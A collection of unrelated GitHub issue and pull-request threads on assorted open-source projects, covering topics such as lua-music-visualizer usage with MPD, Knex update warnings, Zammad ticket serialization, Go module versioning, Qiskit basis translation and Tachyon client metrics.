Move documentation from web folder to doc folder. This
makes the documentation easer to find when browsing the code.
Update the intra-documentation links to point to the Markdown
files themselves so the docs are a standalone group.
Create a gendocs.sh script to update generated documentation
(e.g. the API) and version numbers.
Update web/Rakefile to properly symlink and build the
website using the sources from outside the web directory.
Create a mdlinks.rb Jekyll plugin to process the
intra-documentation links that point to Markdown files so they
are properly converted to point to website URLs.

LGTM


I don't understand how to use this program

Literally everything I try ends with the help message being printed

Do you have an example?
Try something like: lua-music-visualizer /path/to/some/mp3 /path/to/some/lua/script ffplay pipe:0

Oooooh, the program to pipe the output into is supposed to be an argument. Ok, so now I've been able to make it running. But I'm running it with the example script "example: draw visualizer bars" from readme and I'm not getting any visualizations; just a black window

Yeah, I need to revisit how those work - the bars set up during initialization, it's not very dynamic. You have to specify --bars=(whatever) as a CLI option, and it will calculate that many visualizer bars. If you don't specify that option, they're not calculated

And how do I do that? Those don't work:
./lua-music-visualizer --bars=10 ~/Music/something.mp3 myscript.lua ffplay pipe:0
./lua-music-visualizer ~/Music/something.mp3 myscript.lua ffplay pipe:0 --bars=10
./lua-music-visualizer ~/Music/something.mp3 "myscript.lua --bars=10" ffplay pipe:0
./lua-music-visualizer ~/Music/something.mp3 myscript.lua --bars=10 ffplay pipe:0
./lua-music-visualizer ~/Music/something.mp3 --bars=10 myscript.lua ffplay pipe:0

And another question I have is how do I use it with MPD? I tried this but it obviously doesn't work because arguments aren't on right positions so they're misinterpreted
MPD_HOST=localhost ./lua-music-visualizer myscript.lua ffplay pipe:0

It looks like I had two errors in that visualizer bars example. It was written back when the "amps" field was a value between 0-100, now it's between 0.0 and 1.0, so I need to multiply by whatever scaling you want. Also, ceil should be math.ceil (I hav a habit in Lua scripts of saving local references to library functions, I usually have some preample like local ceil = math.ceil). I updated the example in the README, here it is for convenience:
-- set a maximum height for the bars, in pixels
local bars_height = 100
return {
    onframe = function()
        -- draws visualizer bars
        -- each bar is 10px wide
        -- bar height is between 0 and 100 (bars height)
        for i=1,stream.audio.spectrum_len,1 do
            stream.video:draw_rectangle((i-1)*20, 680 ,10 + (i-1)*20, 680 - (math.ceil(stream.audio.amps[i] * bars_height)) , 255, 255, 255)
        end

    end
}

Re: MPD, there's two ways - either define a FIFO output in MPD, or a pipe output, I recommend the FIFO.
So in your mpd.conf file have something like:
audio_output {
    type "fifo"
    name "fifo output"
    path "/tmp/mpd.fifo"
    format "48000:16:2"
}

Then after starting MPD, run the visualizer with:
MPD_HOST=localhost ./lua-music-visualizer --samplerate 48000 --channels 2 /tmp/mpd.fifo myscript.lua ffplay pipe:0

Okay, thank you! One last thing I wanted to know if it's possible to make this program silent; when it's playing MPD output it also plays sound, but it's already being played by MPD so I get double music (with latency)

Well, it's not lua-music-visualizer that's playing the audio, it's ffplay (or whatever program you decide to use like mpv, etc).
To disable audio in ffplay there's the -an flag, so
MPD_HOST=localhost ./lua-music-visualizer --samplerate 48000 --channels 2 /tmp/mpd.fifo myscript.lua ffplay -an pipe:0

Ok then. thanks!


mapbox-gl.css missing

The mapbox-gl.css file reference in index.hml is missing but without effect.
<link rel='stylesheet' href='node_modules/mapbox-gl/dist/mapbox-gl.css' />

I replaced with:
<link href="https://api.mapbox.com/mapbox-gl-js/v2.8.2/mapbox-gl.css" rel="stylesheet">

Doesn't appear to have any effect except to remove the console error or warning (if I omit the link entirely).
Nice animation!

Good catch, thanks! It's updated now


Update called multiple times with objects

Environment
Knex version: 0.21.12
Database + version: postgres
OS: ubuntu
Select applicable template from below.
If issue is about oracledb support, tag @ atiertant. For MSSql tag @ smorey2.
Rest of dialects don't need tags.
If issue is about TypeScript definitions, tag @ lorefnon.
Bug
Some queries:
1. knex.table('Post').update('content', 'text').update({published: true}).where('id', '10')
// generated sql - update "Post" set "content" = 'text', "published" = true where "id" = '10'

2. knex.table('Post').update({published: true}).update('content', 'text').where('id', '10')
// generated sql - update "Post" set "published" = true, "content" = 'text' where "id" = '10'

After executing the first query I get "Update called multiple times with objects", the second one is silent. The both generate correct sql, so what's the point of this warning?

This warning should be omitted or at least enabled to be turned off.

Probably warning is implemented in too high level in query builder and it is not checked in .update('content', 'text'). Warning could be more clear stating why it is a problem.

This warning should be omitted or at least enabled to be turned off.

It can be turned off by overriding logger in knex configuration. That is currently the official way to silence unwanted warnings / messages. I'm not saying that is perfect, but "this is the way".

Frankly I don't understand the point of this message at least by default as all that is valid code. This is very similar to displaying the warning in case of builder.select('first_name').select('last_name').
When I started to get this message I thought something wrong with my code and had to check the source code to make sure that the problem is not on my side.


How to prevent other type of file upload

I want to prevent to upload other types of file. but its uploading all types of file .

hello @iftekharul-dev,
It's already accepting just the files of type image as you see here:
https://github.com/yudax42/vue-upload-drop-images/blob/c1e6837560b7075cc99a55cadc460769cc687f74/dist/vue-upload-drop-images.vue#L123
Please explain more your issue so I can help you.
Thank you!

Yes, i saw that, but its accept all files.Also not working on your demo https://vueupload.yudax.dev/ :( ..

Can you please tell me which browser are you using?
Currently, it's using just accept input which works only on this list of browsers:

Chrome 16 +
Safari 6 +
Firefox 9 +
IE 10 +
Opera 11 +

I will try to validate the input files using javascript in the future.

Its Chrome 16 +

Interesting, on Firefox 9+ it does the same. @iftekharul-dev I suggest just adding validation to handle this until @yudax42 finds something.

Can this be open for one to set what images they accept other than accepting all image types.


Runtime fixes

Only changes relating to the runtime part.
The unit tests cannot contain any sqlite3.OperationalError: database table is locked: runtime_demoreplayer sort of errors.

you have to install the xgboost package. Also not that the unit tests contain several sqlite3.OperationalError

work on this branch here

Just mentioning @stebranchi in case the "to-review" email didn't go through

I swear I didn't touch that module, git hub merged it automatically, I had
to solve some merge conflict in replayer.py, replay_core.py, job/tasks.py
and 2 serializers
Il Mer 13 Giu 2018, 12:29 Tõnis Kasekamp<EMAIL_ADDRESS>ha
scritto:

@TKasekamp commented on this pull request.
In core/common.py
https://github.com/nirdizati-research/predict-python/pull/49#discussion_r195032250
:

from sklearn.ensemble import RandomForestClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.tree import DecisionTreeClassifier

-from core.constants import KNN, RANDOM_FOREST, DECISION_TREE, XGBOOST
+from core.constants import KNN, RANDOM_FOREST, DECISION_TREE
Still removing this. Don't touch XGBoost
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nirdizati-research/predict-python/pull/49#pullrequestreview-128316051,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ac_vf-67FyZ_3QVEOMhT34sOsWXeL-Aoks5t8OmSgaJpZM4Uk2wj
.

Yeah, git can think by itself sometimes. No problem. If you can't do this then tell me and i'll find some time for that.

After lunch i'll try it
Il Mer 13 Giu 2018, 12:37 Tõnis Kasekamp<EMAIL_ADDRESS>ha
scritto:

Yeah, git can think by itself sometimes. No problem. If you can't do this
then tell me and i'll find some time for that.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nirdizati-research/predict-python/pull/49#issuecomment-396893204,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ac_vf53_HXAhFtRTva4379RbbFKkmsmjks5t8OuDgaJpZM4Uk2wj
.


Ticket Numbers

There's a bit of an issue with the Ticket object when creating tickets, namely if you try to create a ticket without manually specifying a ticket number it will let you create exactly one such ticket (which then has an empty ticket number), and all subsequent requests fail. This means You'd have to query Zammad for the highest ticket ID before creating a ticket every time (or start using very large random numbers) currently
For me at least, the intended behaviour would be to fall back to letting Zammad auto-generate the ticket numbers by adding the "omitempty" tag to the json annotation for the Ticket.Number field. Alternatively, implementing a custom serialization or "empty" check on create for the Number field and any other fields that might not be specified to let Zammad handle those with defaults

do you have a code example? I might be that we don't have an omit_empty on various fields in Ticket, but I would hope/suspect that zammad would then return an error instead

Zammad does return an error when creating the second ticket, because it doesn't handle empty strings the same as it does a null value.
On a regular rest request to create a ticket in Zammad you'd normally exclude the "number" field in the POST request if you want Zammad to auto-generate a number for you from the existing number series.
This library currently doesn't let you do that, if you leave the Ticket.Number field empty it will send { "number": "" } in the creation request which creates a ticket with an empty ticket number and not automatically
Adding the omitempty tag to that field would exclude the number field in the marshalled json, which would then default to Zammad giving the ticket a number automatically.
This is the example API call on the Zammad site to create a ticket:
{
   "title": "Help me!",
   "group": "2nd Level",
   "customer"<EMAIL_ADDRESS>}

If you create a ticket object with this library:

ticket := Ticket{
      Title: "Help me!",
      GroupID: 123,
      CustomerID: 123
}

It will serialize and be sent to Zammad like this:
{
  "id": 0,
  "group_id": 123,
   "priority_id": 0,
   "state_id": 0,
   "organization_id": 0,
   "number": "",
   "title": "Help me!",
   "owner_id": 0,
   "customer_id": 0,
   "last_contact_at": 0,
   "last_contact_agent_at": 0,
   "last_contact_customer_at": 0,
   "create_article_type_id": 0,
   "create_article_sender_id": 0,
   "article_count": 0,
   "created_by_id": 0,
   "created_at": 0,
   "updated_at": 0
}

something like #22 should fix this, haven't tested this yet against our live zammad instance.

I've tested it also and pushed some more updates; you can also set an article in the ticket, just like the python client.
https://zammad-py.readthedocs.io/en/latest/readme.html (has some other good ideas, that we can use, type: "note" for example


Activity not found exception

val intent = newIntent(
this,
TimeZone.getDefault(),
DateTime.now().millis,
DateTime.now().plusDays(2).millis
)
this.startActivityForResult(intent, RQC_PICK_DATE_TIME_RANGE)
above code gave me actvity not found error :
android.content.ActivityNotFoundException: Unable to find explicit activity class {/skedgo.datetimerangepicker.DateTimeRangePickerActivity}; have you declared this activity in your AndroidManifest.xml?

Use companion intent in your call to day picker and not forget to add DayPickerActivity.kt within  in the mainifest of the Daypicker library.
In the calling Activity,
intent = TestDayRangePickerActivity.Companion.newIntent(YourCallActivity.this,
TimeZone.getDefault(),
DateTime.now().millis,
DateTime.now().plusDays(2).millis);
startActivityForResult(intent, RQC_PICK_DATE_TIME_RANGE);
In the Mainifest.xml in DayPicker Module, add the code.


Update Go module to reflect v2

Update module URI in go.mod to reflect v2 versioning
Update to use paulmach/orb v0.8.0

Go versioning requires that v(N) releases be reflected in the URI specified in go.mod. For example release v2.x.y requires protomaps/go-pmtiles/v2.

Is this a hard requirement for you to use this as a library? I hadn't anticipated use as a library yet (#20 )
Also, can you squash your commits to be based off main?

It's a requirement for anyone wanting to use go-pmtiles as a library. Without the v2 the Go vendoring stuff will always fetch Go 1.x
'Happy to squash the commits off of main just as soon as I figure out how to do that in Git :-)

I generally play faster and looser than most people when it comes to "semantic" versioning so, overall, I am easy about things.
That said, there are backwards incompatible changes in the 2.x releases, specifically changing Loop to Server, so it's not wrong to bump the module to /v2.
In an ideal world "v1" would always be the first "stable" release but that is rarely the case, right? If "stable" means bumping to /v3 it won't be a big deal to me.

I attempted bumping go.mod via module github.com/protomaps/go-pmtiles/v2 but then go-tidy brings in v1 (module github.com/protomaps/go-pmtiles) as a dependency in go.mod.
for reference: https://donatstudios.com/Go-v2-Modules

You also need to reflect the "v2-iness" of things in the import statements in the code (like main.go).

I've made several attempts at this with no success - it looks like the only way to accomplish this is to duplicate my go.mod inside a v2 top-level directory, then creating two semantically separate modules that I need to maintain. Strongly considering just going back to V1 until this project is "feature-complete" and I can consider a stable internal API, but that seems a long way off.

@thisisaaronland I just released 1.7.0 - is it possible to use that instead of v2?

It works, yes. Thanks.

I'm going to continue on the 1.X branch, then. I added a note to the Releases page for the 2.0 and 2.1 releases, pointing downloaders to 1.7.0. It doesn't look like I can or should delete the tags associated with v2.0.0 and v2.0.1. That might introduce problems related to Go modules, but there isn't a well defined API or use case for those yet.
Going to close this issue for now, let me know if there's anything else that should be changed.


Use Task Executor Workdir

Addresses #282

/azp run

/azp run

the creds secret isn't used in the dotnet-format action, maybe because its from a fork?

the creds secret aren't used in the dotnet-format action, maybe because its from a fork?

That's definitely possible. Our azure CI/CD also doesn't work with forks (I've had to copy this branch to this repo in order to build your PR to run our integration tests, etc.)

In that case, can I get permission to create a branch in the repo?

In that case, can I get permission to create a branch in the repo? Or can this be merged without the check?

We can merge it without the check. I expect to complete validation by mid-week.

@SharonHart Will the website allow you to merge?

@SharonHart Will the website allow you to merge?

Nope :(


Display -- instead of 0 before first account balance load

Community suggestion to display -- instead of 0 before the first wallet balance call is returned so users don't freak out about a 0 balance.

Looking at this now.


[webview_flutter] loadRequest not work.

The part about loadRequest in @bparrishMines' answer to that issue doesn't work in release mode. #108801
however, it seems to work in Flutter 3.7.0.
but I wonder why it doesn't work in Flutter 3.3.0.
Isn't it a plugin issue? Is this a flutter problem?
[✓] Flutter (Channel stable, 3.3.0, on macOS 13.1 22C65 darwin-x64, locale ko-KR)
[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.1)
[✓] Xcode - develop for iOS and macOS (Xcode 14.2)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2021.3)
[✓] IntelliJ IDEA Ultimate Edition (version 2022.3.1)
[✓] VS Code (version 1.74.2)
[✓] Connected device (3 available)
[✓] HTTP Host Availability

Is it worked with past update, on your machine?

@mozaddedalfeshani
The code below doesn't work when in release mode.
WidgetsBinding.instance.addPostFrameCallback((_) async {
   _webViewController.loadRequest(Uri.parse('https://flutter.dev'));
});

@JosephNK
Thanks for the report. This comment from the linked issue explains where exactly the problem was and since seem to have been fixed.
Can you try using the latest version of https://pub.dev/packages/webview_flutter_android/changelog#321 and try your use case again in release mode (using real device) to see if the behavior you are seeing persists or works as expected ?


MS Edge, IE multi-language tracks not switch correctly

Hi,
if I try to play source with multiple language tracks in MS Edge, some unknown default audio tracks are created in the audio player list.
The other tracks are loaded, but they do not play the selected audio track when you switch them. It's quiet.
If I have source with two audio tracks then they are listed player.audioTracks() result is 3 items.
2 source type Object and 1 source type AudioTrack. Source with type AudioTrack it looks like it was created automatically.
If I try to load the same source in the dashjs reference player, the audio is selected and switched correctly.
Tested here: https://videojs.github.io/videojs-contrib-dash/
Demo source: https://bitmovin-a.akamaihd.net/content/sintel/sintel.mpd

Hi,
I have checked in Edge browser automatically showing multiple Audio Icon against a single Audio video.

Hello
I had the same issue with multilang HLS on Safari and IE. Fixed it with:
var player = videojs('player', {
  'html5': {
    'nativeAudioTracks': false
  }
});


gridlines dont match up to ticks?

Should the gridlines not match up to the ticks at the edge of the screen? 382.00 and 381.00 look correct, but the gridline at 381.50 looks incorrect as it has no tick value/label associated with it

Ive attached a video which will help you replicate the bug which is occuring with your grid lines.
bandicam 2016-02-09 14-50-36-197.zip
Uploaded using ZenHub.io


Package to Docker then publish to Docker Hub?

I think it's a good idea since not all of the people use Java 9 locally. And if anyone needs it, he or she can just pull the image.

That's a great idea! Will try to get this done by end of week. Thanks for the suggestion.

Hi! Did you already put it onto hub? What's the repo/image name? Best regards, Maciej.

@labedzkim Nah, have been really busy in the last few weeks. I do definitely plan to do this though. In the meantime, if you want to continue using java 8, you can revert the most recent commit in your fork.

what is the default port of the work

what is the default port  of the project

@labedzkim If you don't mind, I can help this one with Travis CI.

Sure, go on.

any updates on this?

I am quite busy recently. If anyone wants to take over, please go ahead.

Hey,
I went ahead and created a dockerfile for this Kafka-visualizer.
You can access it here -> https://github.com/karan1525/Kafka-Visualizer/blob/master/Dockerfile
It is also pushed to the docker hub under -> kbhargava/kafka-visuals
Hope this helps!

@karan1525 Thanks for that! Could you also please submit a PR to include the docker file to this project?

@enthusiast94 Created a PR :)

Merged.


Fix typo

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

I'm sure the CLA is perfectly reasonable, but I don't want to read and sign it just to fix a typo! Maybe someone else can fix this and then close my PR.

😆 thanks! I'll fix it directly.


Cannot find module

Cannot find module 'C:\Users\HectorDaniloSebastia.atom\packages\platformio-ide-terminal\node_modules\pty.js\bin'

Please retest again with platformio-atom-ide-terminal 2.9.0 is using node-pty-prebuilt instead unmaintained and outdated pty.js


Change x axis as Timestamp

Hello, I want to use line chart to plot temperature readings. For that I need to have  X axis as coordinates as time stamps. Any kind of help is appreciated.

Hi, I'm not sure I understand but maybe that's what you need: try to set timestamps/date as string labels for each axis value on X axis:
Axis axisX = ...
axisX.setMaxLabelChars(6);//just to increase space for each axis label

//fill axis with values, for each value set timestamp/date as label
axisValue.setLabel("08.06.2016");


chore: rewrite tests to use unstable_dev

Implemented these tests in this PR: https://github.com/cloudflare/wrangler2/pull/1538 - closing this PR


Add ability to limit bandwidth of simulcast tracks

This PR introduces the ability to limit the bandwidth of simulcast tracks. It is achieved by the following set of changes:

addition of setLayerBandwidth function
introduction of new data type - SimulcastBandwidthLimit which is a (layer => limit) mapping
both setTrackBandwidth and addTrack handle limiting bandwidth of each layer using SimulcastBandwidthLimit
addTrack when provided an overall bandwidth limitation for simulcast track splits available bandwith between layer according to their scaleResolutionDownBy factors

I am wondering whether we need setLayerBandwidth function as we can use setTrackBandwidth 🤔

It is a little redundant, but if only want to limit the bandwidth of a single layer, setTrackBandwidth won't let you easily do it, not without also setting limits for other layers


Investigate why requiredSignersAreWitnessed is not called in Conway

We also need to reduce duplication in the ConwayUTXOW rule, almost the whole thing is from BabbageUTXOW (related ticket #3485)
One of the things in ConwayUTXOW rule that is missing that is in BabbageUTXOW is this predicate check. Why is it missing?
https://github.com/input-output-hk/cardano-ledger/blob/5922372daccb4878c4c088c582b0d56f3a671ae8/eras/babbage/impl/src/Cardano/Ledger/Babbage/Rules/Utxow.hs#L324-L327

I have confirmed with Andre that this was an oversight. So it needs to be fixed.

After further investigation turns out it is not a bug, because this reqSignerHashes is enforced by witsVKeyNeeded in Conway. We need to switch Alonzo and Babbage to do the same once we enter Conway


docs: add comments + modify docs

📣 NOTICE: THIS IS THE PR FROM THE DEVELOPMENT TEAM. IT WILL BE ACCEPTED WITHOUT ANY REVIEW

PR Approved by @Wopslang/interpreter


Question about render image and depth

Hello, thank you for your work and for answering questions.
I have a question about the function which renders image and depth values based on input rays.
to be more specific: renderer.py > class NeRFRenderer > run_cuda > raymarching.composite_rays
when I pass a ray with requires_grad=True, depth is with .grad attribute, but the image is not.
What is the reason? how can I have image as an output with .grad attribute?
Is it okay to delete all " .detach, torch_no_grad(), and @staticmethod" in the code?

@mah-asd Hi, do you mean composite_rays_train or composite_rays (for inference)? In fact both depth and image should have None for .grad, since they are not leaf nodes. Only tensor with is_leaf == True and requires_grad == True will get its grad after a later backward(). Maybe you can check this.

Hi Ashawkey, Thank you for replying.
I'm using rays_o and rays_d with required_grad = True as inputs,
But I'm getting output without autograd attribute. Somewhere in the process, it becomes disabled.
I'm using this line of code:
**outputs = model.render(rays_o, rays_d, staged=True, bg_color=None, perturb=False, force_all_rays=False,  vars(opt))


qc.draw() doesn't show the circuit diagram

I wrote a simple program to get the output
qc = QuantumCircuit(1)
qc.h(0)
qc.z(0)
qc.h(0)
qc.draw()
backend = Aer.get_backend('statevector_simulator')
result = execute(qc,backend).result() # Do the simulation, returning the result
out_state = result.get_statevector()
print(out_state)
out = execute(qc,backend).result().get_statevector()
plot_bloch_multivector(out)

when I check the result I just get the  statevector output and the bloch sphere output but not the Circut diagram( qc.draw() )
But when i just do the below it works fine :
qc = QuantumCircuit(1)
qc.h(0)
qc.z(0)
qc.h(0)
qc.draw()

What is the expected enhancement?
My request is qc.draw() can be mentioned in any part of the code and it should show the Quantum circuit and then the result

The draw method without any arguments returns a string representing the circuit. If you want to display the string, you have to print it:
print(qc.draw())

About the second code snippet: Did you run this in a Jupyter notebook? If yes, the output of the last line is implicitly shown as output, which is why in the second code example you see a circuit.

It does work if you replace it with print(qc.draw())

The error is occurring mainly due to the attempt of plotting multiple plots after the execution of the same code cell block.

@abhishekengg24 Feel free to re-open if you think we're missing something here.


Add section on node dependency in README

The tests were failing to run for me because my version of node was old (7.2.1). Version 8.9.4 is the latest LTS version of nodejs.org. I verified the tests run with this version and version 9.6.1 - the latest version.

Thanks!


Problem testing

This PR attempts to address some of @alin04's concerns around testing.
It creates a testutil package with a ProblemStub and ProblemStubs object. These are basically subsets of problems that know how to compare themselves with lint.Problem objects. The intent is to reduce test boilerplate while testing against the contents of the problems rather than just how many problems come back.
I do not really love that ProblemStub and ProblemStubs have to be exported, but I see no other choice. (I can not use an internal directory because the AIP rule packages would not be able to import from it.)
Note: I only edited two tests for now; if @alin04 is happy with this approach, I will convert the remainder.

@lukesneeringer could you please point us to Angie's original comments? Thanks!

https://github.com/googleapis/api-linter/pull/154#discussion_r318795908
https://github.com/googleapis/api-linter/pull/154#discussion_r318799345

Consider to make testutils as an internal package, and we can open it once it is mature and proved.

Consider to make testutils as an internal package, and we can open it once it is mature and proved.

I would love to, but how? Internal packages can only be imported by their parent directories, so it would have to be copied in the package for every AIP.

Consider to make testutils as an internal package, and we can open it once it is mature and proved.

I would love to, but how? Internal packages can only be imported by their parent directories, so it would have to be copied in the package for every AIP.

Make an internal/ dir that is peer-level. See https://github.com/golang-standards/project-layout
The name "internal" is merely a convention to indicate those are private - not that it's actually enforced.

Consider to make testutils as an internal package, and we can open it once it is mature and proved.

I would love to, but how? Internal packages can only be imported by their parent directories, so it would have to be copied in the package for every AIP.

I believe their parent and its children directories, i.e., any packages rooted at the parent.

I believe their parent and its children directories, i.e., any packages rooted at the parent.

Confirmed. Making that change.

@alin04 and I decided not to do this after all. We will alter the tests in different ways.


fix: prevent duplicate key annotation in AdjustKey()

fixes #829

:tada: This PR is included in version 8.0.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Make IPv6 tracing conditional to nanostack-libservce

REQUIRES https://github.com/ARMmbed/nanostack-libservice/pull/92
Upstreamed from https://github.com/ARMmbed/mbed-os/pull/13649
IPv6 tracing depends on nanostack-libservce which is not available on Mbed OS's bare metal builds. If fea-ipv6 is unset, we should check the dependency's availability and enable IPv6 tracing accordingly.

CI fails, obviously because mbed-os 5 doesn't contain the nanostack-libservice change...


1657392 Add descriptions for SEO (3 of 3)

Add descriptions for SEO
For anyone that GitHub notifies, this is for 1657392.
You're welcome but not required, according to KhairunJ's guidance, to review these proposed meta descriptions. I'll leave this PR open for 48 hours and address any feedback. After that, we'll sign off for merge. Thanks!
Please keep in mind our 100-160 char length for descriptions.
Fixes #1657392 (3 of 3)

@BillWagner - these three are a different user story from the ones you've been looking at today. Please merge when you get a chance.

@BillWagner - should I reach out to @adegeo to merge these? Or should this repo always go to you? Still not clear on how dotnet works -

Anyone from the team can. I wasn't sure if you could or couldn't.


Add support for boolean type to Envoy::Json::Streamer

Commit Message: Add support for boolean type to Envoy::Json::Streamer
Additional Description: Fixes #33752
Risk Level: Low
Testing: Unit
Docs Changes: N/A
Release Notes: Add support for boolean type to Envoy::Json::Streamer
Platform Specific Features: N/A
[Optional Runtime guard:]
[Optional Fixes #Issue]
[Optional Fixes commit #PR or SHA]
[Optional Deprecated:]
[Optional API Considerations:]
@tonya11en @jmarantz

Sadly GCC does not like your construct:
source/common/json/json_streamer.cc: In member function ‘void Envoy::Json::Streamer::Level::addValue(const Value&)’:
source/common/json/json_streamer.cc:140:15: error: unused variable ‘idx’ [-Werror=unused-variable]
  140 |   switch (int idx = value.index()) {
      |               ^~~
cc1plus: all warnings being treated as errors

Try adding UNREFERENCED_PARAMETER(idx); from source/common/common/macros.h


Latest release 1.15.5 build issue

My ci run is failing either the following errors:
 unresolved import `async_graphql_derive::GQLEnum`

 no `GQLInputObject` in the root

no `GQLSimpleObject` in the root

Etc... is there something I need to change on my end ?

I am on mobile sorry 😐

I am pretty sure this is a result of us introducing breaking changes above 1.0.0; it does not play nicely with cargo because cargo assumes different update heuristics when packages are above 1.0.0.
TL;DR: cargo update should pick up the latest async-graphql-derive dependency...

@sunli829 we should pin the async-graphql dependencies (async-graphql-derive,  async-graphql-parser) to specific exact versions with =1.15.1 or at least 1.15.* etc.)
This should help minimize issues... I would open a PR for it but I am not entirely sure how the CI/deploy pipeline is setup 🙃

running cargo update worked thank you


Unroller fails on h gate

Environment

Qiskit Terra version:  latest
Python version:  3.10
Operating system:

What is happening?

from qiskit import QuantumCircuit
from qiskit.transpiler import PassManager
from qiskit.transpiler.passes.basis import Unroller

qc = QuantumCircuit(5)
qc.h(0)
qc.rz(0.1, 0)
qc.rzz(np.pi/2, 0, 2)

unroll_pass = Unroller(basis=['cx', 'sx', 'x', 'rz'])

pm = PassManager([unroll_pass])
pm.run(qc)

gives
QiskitError: "Error decomposing node of instruction 'h': 'NoneType' object has no attribute 'global_phase'. Unable to define instruction 'u' in the basis."
How can we reproduce the issue?
Run above
What should happen?
I should be able to unroll to the target basis
Any suggestions?

The unroller is a very basic hierarchical basis translation, and cannot guarantee that a source basis will be able to be converted. In general, the only basis that's more-or-less certain (up to opaque instructions) to work is the OpenQASM 2 general basis u, cx. This is kind of fundamental to what the Unroller actually represents.
In general, you'll want to use a full translation transpiler stage to most reliably convert bases. For built-in standard Qiskit gates, BasisTranslator with the StandardEquivalenceLibrary will typically be enough.

It begs the question then as to why the Unroller is even still in Qiskit if it can no longer even handle an h gate?  Moreover, it is at the top of the basis change passes section.  Given the order is not alphabetical, this implies it is the pass of choice when doing basis changes:

I did originally try the BasisTranslator, but I have no idea how to add a equivalence library, and there is no minimal example in the pass documentation that shows me how to get it working: https://qiskit.org/documentation/stubs/qiskit.transpiler.passes.BasisTranslator.html#qiskit.transpiler.passes.BasisTranslator  Is it not possible to default to the standard library, as you suggest above, if none is given?  This would make life easier for the vast majority of users.

This stems from a misunderstanding of how basis translation works. Unroller can handle h for some target bases. This is true for any basis translation; we can't universally translate from any source basis to any target basis with any of the methods we have defined.
We do default if you use the full compiler path.  When you want to access compiler internals outside the full path, you need to handle configuration yourself; us adding default state arguments to the constructors of internal objects would make it easier to introduce bugs or surprising behaviour when defaults at different entry points get out of sync. This has happened frequently in the circuit drawers, and continues to cause problems there. In principle, the lower level you want to enter our stack, the more manual configuration you'll need to do.
Our documentation can always be improved, and this is one place.

In principle, the lower level you want to enter our stack, the more manual configuration you'll need to do.

And where we have big gaps in the documentation.  So very much agree with you.

I think this is closed now given that Unroller is gone and replaced in #10607


Fix .ebnf files to be embedded to a binary

Right now, files with .ebnf extension are not embedded to a binary of a project, which uses starknet.py. A possible solution is to add it to [tool.poetry] section in pyproject.toml (as stated here).

I don't think it's necessary to perform any voodoo on this, right now the .ebnf files are embedded into python files as strings.


config.php in docker installations

Hi there,
since the docker image only provides a volume for data/, it is not possible to adjust values via config.php. Is there any suggested way in doing this instead?
Thanks, Jan.

As workaround I mounted the file as volume into the container. This requires to restart the container on each modification, which is not very handy.

At the moment, I think people use their own DockerFile when they want to customize the config, for example: https://github.com/blufor/docker-kanboard
But, I can easily modify the code to load the config.php from /data if not present in the default location. In this way, you will be able to put everything in a single volume. Do you think that will improve your deployment process?

But, I can easily modify the code to load the config.php from /data if not present in the default location.

This would fit I think. Many thanks.

It's now available in master, the next stable version will probably be released in the next couple of days.

Works like a charm, many thanks!


JSON over HTTPS

XMLRPC client code experiencing timeout failures.  Implement API as REST webserver.  Support client connections using requests.

done


Qualification tool: update SQL Df value used and look at jobs in SQL

Fixes https://github.com/NVIDIA/spark-rapids/issues/5570
Ok this has a couple of changes.

Change to use the spark reported SQL DF duration instead of the stage duration since we might not have all stages.
I found that the sql mapping to stages can miss quite a few stages, especially in the case an entire SQL query doesn't have any mappings.  In these cases look at the SQL to Job mapping and get the stages from those and just average everything in that SQL query across those times.
Fixed a couple bugs.
removed a decimal check we should have removed a while.

This change makes the DF times much closer then what they were in previous version of the tool.

build

build

build


[TACHYON-365] Collect worker metrics from user heartbeat

https://tachyon.atlassian.net/browse/TACHYON-365
The 3rd PR of the Metrics System

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/3241/
Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/3242/
Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/3243/
Test PASSed.

@calvinjia  When a client is terminated, some metrics data after its last heartbeat has not been sent. Currently in this PR, I manually call the heartbeat method to pass the data when WorkerClient is being closed. The client need properly closes TachyonFS, otherwise he may lose some metrics data.

@carsonwang
Is there a downside to updating the metrics as soon as possible, as opposed to waiting until the file is closed? Is the goal of these metrics to reflect the total amount of work done or the total amount of successful work done? I could see the total amount of work done being useful because otherwise it risks showing Tachyon as lightly loaded compared despite a lot of cancelled reads/writes.

@calvinjia , I agree that metrcis reflecting the total amount of work done are more useful. I updated the code so that the metrics will be updated as soon as possible. Can you please take a look?

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/3251/
Test PASSed.

@carsonwang The overall logic looks good to me. Do you think it would make more sense to create a ClientMetrics object which is a wrapper around the list of longs? This way the logic of clearing/incrementing the values could be isolated in a class rather than spread in TachyonFS and workerClient.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/3272/
Test PASSed.

@calvinjia , I created a ClientMetrics class as you suggested. I tried to add it in client module, however WorkerClient class in common module need reference it. The client module also reference the common module. This causes a cyclic reference error. So I now placed the class in common module. Please let me know if you know a better home for it.

+1 LGTM.
just one comment: I feel a lot of logic here (e.g., manually encoding / decoding particular metric field into data structures like List) will be hard to extend (e.g., adding field other than long) and hard to maintain in the future. I strongly advice using proto buffer to wrap these information in the long run.

@calvinjia , It is the same ClientMetrics object and ok to remove. I updated this. Thanks for catching this.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/3275/
Test PASSed.

